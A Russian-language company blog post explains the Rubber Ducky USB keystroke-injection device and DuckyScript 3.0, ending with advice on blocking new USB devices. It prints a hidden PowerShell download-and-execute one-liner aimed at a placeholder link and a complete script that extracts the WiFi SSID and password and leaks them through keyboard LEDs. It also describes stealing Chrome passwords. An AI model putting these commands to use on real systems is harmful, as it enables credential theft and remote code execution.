Флешка Rubber Ducky стала ещё опаснее

в 20:11, , рубрики: DuckyScript, Hak5, Rubber Ducky, usb, Блог компании GlobalSign, виртуальная клавиатура, гаджеты, информационная безопасность, Компьютерное железо, периферия
Флешка Rubber Ducky стала ещё опаснее - 1

Rubber Ducky — известное хакерское устройство, давно знакомое специалистам по информационной безопасности (и любителям сериала Mr. Robot). Первая версия вышла более десяти лет назад. С виду обычная флешка при подключении выдаёт себя за USB-клавиатуру и запускает произвольный скрипт. Это позволяет проводить необычные атаки, которые сложно обнаружить с помощью антивируса.

Атака Rubber Ducky — просто последовательность нажатий клавиш (чтобы открыть консоль и ввести в ней некоторые команды).

Например, можно вывести на экран всплывающее окно авторизации Windows.

Флешка Rubber Ducky стала ещё опаснее - 2

Флешка Rubber Ducky стала ещё опаснее - 3

На самом деле это последовательность клавиш, которые «набраны» на фейковой клавиатуре:

powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https:// < Your Shared link for the intended file> ?dl=1; invoke-expression $pl

Никаких вредоносных файлов на флешке нет. Это просто «клавиатура», на которой просто «нажимаются» определённые кнопки.

Вот другой скрипт, который открывает PowerShell и собирает сохранённые пароли из браузера Chrome. Можно сохранить их на флешке или отправить на сервер под видом GET-запросов headless-браузера Chrome, чтобы не вызвать подозрения со стороны антивируса. Так это выглядит на компьютере жертвы:

Флешка Rubber Ducky стала ещё опаснее - 4

То есть схема атаки понятна:

  1. Флешка вставляется в компьютер
  2. В системе регистрируется новая USB-клавиатура
  3. На исполнение автоматически запускается скрипт, который представляет собой одну конкретную последовательность нажатий клавиш.

Из-за такой ограниченной функциональности раньше каждую атаку приходилось тщательно готовить. Нужно было собрать информацию о конкретном компьютере, в который будет вставлена флешка: какая там операционная система и программное окружение. Потому что на флешку записывается только один конкретный скрипт на исполнение, а в нём — жёстко прописанная последовательность символов, которые вводятся в консоль.

Флешка Rubber Ducky стала ещё опаснее - 5

Но сейчас разработчик Даррен Китхен значительно расширил функциональность устройства, так что оно стало гораздо опаснее. Самое главное, флешка теперь поддерживает скриптовый язык DuckyScript 3.0.

DuckyScript 3.0 — полноценный язык программирования, позволяющий писать нормальные функции, хранить переменные и использовать условные переходы.

Например, новая Ducky может определить версию операционной системы (Windows или Mac), выполнить соответствующий код для каждой системы или отключиться, если цель не соответствует условиям.

Флешка Rubber Ducky стала ещё опаснее - 6

Скрипты теперь могут генерировать псевдослучайные числа и использовать их для добавления переменной задержки между нажатиями клавиш. Это создаёт «человеческий эффект» при вводе команд в консоли. Устройство самостоятельно выполняет брутфорс паролей и декодирует хеши.

Ещё одна удобная инновация — флешка теперь умеет кодировать пароли в двоичный формат и передавать их по трёхбитному каналу морганием светодиодов CapsLock, NumLock и ScrollLock на клавиатуре.

Флешка Rubber Ducky стала ещё опаснее - 7

Функция Keystroke Reflection реализована на основе научной работы 2019 года (Мордехай Гурий, Дима Быховский и др.).

Демонстрация Keystroke Reflection и пример кода

REM Example Simple Keystroke Reflection Attack for Windows
REM Saves currently connected wireless LAN profile to DUCKY
ATTACKMODE HID
LED_OFF
DELAY 2000
SAVE_HOST_KEYBOARD_LOCK_STATE
$_EXFIL_MODE_ENABLED = TRUE
$_EXFIL_LEDS_ENABLED = TRUE

REM Store the currently connected WiFi SSID & Key to %tmp%z
GUI r
DELAY 100
STRINGLN powershell "netsh wlan show profile name=(Get-NetConnectionProfile).Name key=clear|?{$_-match'SSID n|Key C'}|%{($_ -split':')[1]}>$env:tmpz"
DELAY 100

REM Convert the stored creds into CAPSLOCK and NUMLOCK values.
GUI r
DELAY 100
STRINGLN powershell "foreach($b in $(cat $env:tmpz -En by)){foreach($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){if($b-band$a){$o+='%{NUMLOCK}'}else{$o+='%{CAPSLOCK}'}}}; $o+='%{SCROLLLOCK}';echo $o >$env:tmpz"
DELAY 100

REM Reflect the CAPSLOCK and NUMLOCK Keystrokes back to the Ducky.
GUI r
DELAY 100
STRINGLN powershell "$o=(cat $env:tmpz);Add-Type -A System.Windows.Forms;[System.Windows.Forms.SendKeys]::SendWait($o);rm $env:tmpz"
DELAY 100

REM The final SCROLLLOCK keystroke indicates EXFIL is complete.
WAIT_FOR_SCROLL_CHANGE
LED_G
$_EXFIL_MODE_ENABLED = FALSE
RESTORE_HOST_KEYBOARD_LOCK_STATE

Флешка Rubber Ducky стала ещё опаснее - 8

Для подготовки вредоносных нагрузок разработана онлайновая Web-IDE, в которой можно протестировать скрипты, скомпилировать и подготовить для записи на флешку. В специализированном канале Hak5 Discord начинающие хакеры делятся советами и опытом. Набираются классы для онлайн-курсов. На официальном сайте есть также каталог скриптов на любые случаи. Например, этот скрипт запускает скрытую консоль, заходит в сетевые свойства Windows (control.exe /name Microsoft.NetworkAndSharingCenter), делает скриншот пароля WiFi (кнопка PrnScr) и отправляет его в Dropbox.

Вообще, за последние десять лет выпущено несколько модификаций Rubber Ducky, но последние обновления кардинально расширяют его возможности, так что специалистам по информационной безопасности следует учитывать этот вектор атаки.

«Забытые» флешки

Флешка Rubber Ducky стала ещё опаснее - 9

То есть нужно понимать, что обычная с виду «забытая» флешка может выдать себя за USB-клавиатуру и выполнить в системе произвольные команды от лица залогиненного пользователя. Это фундаментальная уязвимость (фича), которой подвержены все операционные системы, включая Windows, macOS и Linux. Для защиты можно аппаратно или программно блокировать подключение новых устройств по USB. Например, такая функция поддерживается в Qubes OS.


Флешка Rubber Ducky стала ещё опаснее - 10

Автор: GlobalSign_admin

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js